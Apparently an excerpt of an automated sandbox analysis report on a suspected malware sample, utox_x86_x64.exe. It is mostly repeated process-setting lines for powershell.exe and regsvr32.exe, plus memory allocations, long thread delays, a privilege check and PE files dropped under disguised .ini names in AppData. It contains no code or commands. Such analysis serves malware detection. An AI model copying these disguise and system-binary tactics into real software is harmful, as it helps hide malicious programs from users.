Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\utox_x86_x64.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\dllhost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\dllhost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\rekeywiz.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\rekeywiz.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\rekeywiz.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\rekeywiz.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\rekeywiz.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\rekeywiz.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\rekeywiz.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\rekeywiz.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX

Source: C:\Windows\System32\regsvr32.exe	Memory allocated: 2900000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Memory allocated: 1AF50000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Memory allocated: 25B0000 memory reserve \| memory write watch
Source: C:\Windows\System32\regsvr32.exe	Memory allocated: 1ADB0000 memory reserve \| memory write watch
Source: C:\Windows\System32\regsvr32.exe	Memory allocated: 1ED0000 memory reserve \| memory write watch
Source: C:\Windows\System32\regsvr32.exe	Memory allocated: 1A390000 memory reserve \| memory write watch

Source: C:\Windows\System32\regsvr32.exe

Code function: 8_2_1BF958E5 str word ptr [ebp-65h]

8_2_1BF958E5

Source: C:\Windows\System32\dllhost.exe

Code function: GetAdaptersInfo,

15_2_000001E879D82AC4

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4309	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5548	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6255	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3454	Jump to behavior
Source: C:\Users\user\Desktop\utox_x86_x64.exe	Window / User API: threadDelayed 458	Jump to behavior
Source: C:\Users\user\Desktop\utox_x86_x64.exe	Window / User API: threadDelayed 3866	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7300
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2397
Source: C:\Windows\System32\regsvr32.exe	Window / User API: threadDelayed 9751

Source: C:\Users\Public\ajbs50ul.bat	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\miEk.ini			Jump to dropped file
Source: C:\Windows\System32\rekeywiz.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\u0ow.ini			Jump to dropped file

Source: C:\Windows\System32\regsvr32.exe

Check user administrative privileges: GetTokenInformation,DecisionNodes

